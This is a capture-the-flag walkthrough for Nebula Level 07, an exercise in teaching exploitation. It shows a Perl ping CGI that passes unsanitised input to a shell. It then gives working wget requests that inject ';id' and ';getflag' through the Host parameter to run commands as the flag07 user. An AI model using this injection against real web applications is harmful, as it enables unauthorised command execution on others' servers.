Exploit-Education Nebula Level 07

6 minute read

Exploit Education Level 7

Challenge

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

To do this level, log in as the level07 account with the password level07. Files for this level can be found in /home/flag07.

Vulnerability

Lets take a look at the file

level07@nebula:/home/flag07$ cat index.cgi
#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
$host = $_[0];

print("<html><head><title>Ping results</title></head><body><pre>");

@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }

print("</pre></body></html>");

} 
# check if Host set. if not, display normal page, etc

ping(param("Host"));

The perl script takes input from the user and do a ping and returns the result

There is a Command injection Vulnerability in the following line

@output = `ping -c 3 $host 2>&1`;

The value of variable host is provided by the user and the input is not sanitized. We can add additional commands using ;

There is also another file named thttpd.conf. Lets see whats in it

level07@nebula:/home/flag07$ cat thttpd.conf
# /etc/thttpd/thttpd.conf: thttpd configuration file

# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.
port=7007

# Specifies a directory to chdir() to at startup. This is merely a convenience -
# you could just as easily do a cd in the shell script that invokes the program.
dir=/home/flag07

# Do a chroot() at initialization time, restricting file access to the program's
# current directory. If chroot is the compiled-in default (not the case on
# Debian), then nochroot disables it. See thttpd(8) for details.
nochroot
#chroot

# Specifies a directory to chdir() to after chrooting. If you're not chrooting,
# you might as well do a single chdir() with the dir option. If you are
# chrooting, this lets you put the web files in a subdirectory of the chroot
# tree, instead of in the top level mixed in with the chroot files.
#data_dir=

# Don't do explicit symbolic link checking. Normally, thttpd explicitly expands
# any symbolic links in filenames, to check that the resulting path stays within
# the original document tree. If you want to turn off this check and save some
# CPU time, you can use the nosymlinks option, however this is not
# recommended. Note, though, that if you are using the chroot option, the
# symlink checking is unnecessary and is turned off, so the safe way to save
# those CPU cycles is to use chroot.
#symlinks
#nosymlinks

# Do el-cheapo virtual hosting. If vhost is the compiled-in default (not the
# case on Debian), then novhost disables it. See thttpd(8) for details.
#vhost
#novhost

# Use a global passwd file. This means that every file in the entire document
# tree is protected by the single .htpasswd file at the top of the tree.
# Otherwise the semantics of the .htpasswd file are the same. If this option is
# set but there is no .htpasswd file in the top-level directory, then thttpd
# proceeds as if the option was not set - first looking for a local .htpasswd
# file, and if that doesn't exist either then serving the file without any
# password. If globalpasswd is the compiled-in default (not the case on Debian),
# then noglobalpasswd disables it.
#globalpasswd
#noglobalpasswd

# Specifies what user to switch to after initialization when started as root.
user=flag07

# Specifies a wildcard pattern for CGI programs, for instance "**.cgi" or
# "/cgi-bin/*". See thttpd(8) for details.
cgipat=**.cgi

# Specifies a file of throttle settings. See thttpd(8) for details.
#throttles=/etc/thttpd/throttle.conf

# Specifies a hostname to bind to, for multihoming. The default is to bind to
# all hostnames supported on the local machine. See thttpd(8) for details.
#host=

# Specifies a file for logging. If no logfile option is specified, thttpd logs
# via syslog(). If logfile=/dev/null is specified, thttpd doesn't log at all.
#logfile=/var/log/thttpd.log

# Specifies a file to write the process-id to. If no file is specified, no
# process-id is written. You can use this file to send signals to thttpd. See
# thttpd(8) for details.
#pidfile=

# Specifies the character set to use with text MIME types.
#charset=iso-8859-1

# Specifies a P3P server privacy header to be returned with all responses. See
# http://www.w3.org/P3P/ for details. Thttpd doesn't do anything at all with the
# string except put it in the P3P: response header.
#p3p=

# Specifies the number of seconds to be used in a "Cache-Control: max-age"
# header to be returned with all responses. An equivalent "Expires" header is
# also generated. The default is no Cache-Control or Expires headers, which is
# just fine for most sites.
#max_age=

There are few important parameters to take note here

user=flag07
dir=/home/flag07
port=7007

okay so its looks like there is a server on port 7007 waiting for input Lets check for listening ports

level07@nebula:/home/flag07$ netstat -peanut
(No info could be read for "-p": geteuid()=1008 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode       PID/Program name
tcp        0      0 127.0.0.1:50001         0.0.0.0:*               LISTEN      987        11064       -        
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          10298       -        
tcp        0      0 0.0.0.0:10007           0.0.0.0:*               LISTEN      982        11071       -        
tcp        0      0 192.168.5.131:22        192.168.5.1:55546       ESTABLISHED 0          12866       -        
tcp6       0      0 :::22                   :::*                    LISTEN      0          10300       -        
tcp6       0      0 192.168.5.131:7007      192.168.5.1:55559       TIME_WAIT   0          0           -        
udp        0      0 0.0.0.0:68              0.0.0.0:*                           0          9411        -        

We can see that the server is listening on port 7007. Lets connect and try command injection with id

[Also for my nebula system the server running on 7007 is exiting or crashing a few minutes after restart. So you might have to restart your system before doing this challenge]

Lets connect to the server using wget and try command injection by adding %3bid (%3b is ; in url encoded format) and save the output to wget1

level07@nebula:~$ wget http://192.168.5.131:7007/index.cgi?Host=127.0.0.1%3Bid -O wget1
--2019-08-07 10:47:09--  http://192.168.5.131:7007/index.cgi?Host=127.0.0.1%3Bid
Connecting to 192.168.5.131:7007... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `wget1'

[   <=>                                                                 ] 496          244B/s   in 2.0s

2019-08-07 10:47:11 (244 B/s) - `wget1' saved [496]

level07@nebula:~$ cat wget1
<html><head><title>Ping results</title></head><body><pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.018 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.033 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.045 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.018/0.032/0.045/0.011 ms
uid=992(flag07) gid=992(flag07) groups=992(flag07)

Command injection is successful and the id belongs to flag07. So lets run getflag now


wget http://192.168.5.131:7007/index.cgi?Host=127.0.0.1%3Bgetflag -O flag
--2019-08-07 10:48:38--  http://192.168.5.131:7007/index.cgi?Host=127.0.0.1%3Bgetflag
Connecting to 192.168.5.131:7007... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `wflag'

[   <=>                                                                 ] 504          251B/s   in 2.0s

2019-08-07 10:48:40 (251 B/s) - `wflag' saved [504]

level07@nebula:~$ cat wflag
<html><head><title>Ping results</title></head><body><pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.016 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.045 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.023 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.016/0.028/0.045/0.012 ms
You have successfully executed getflag on a target account

Solved!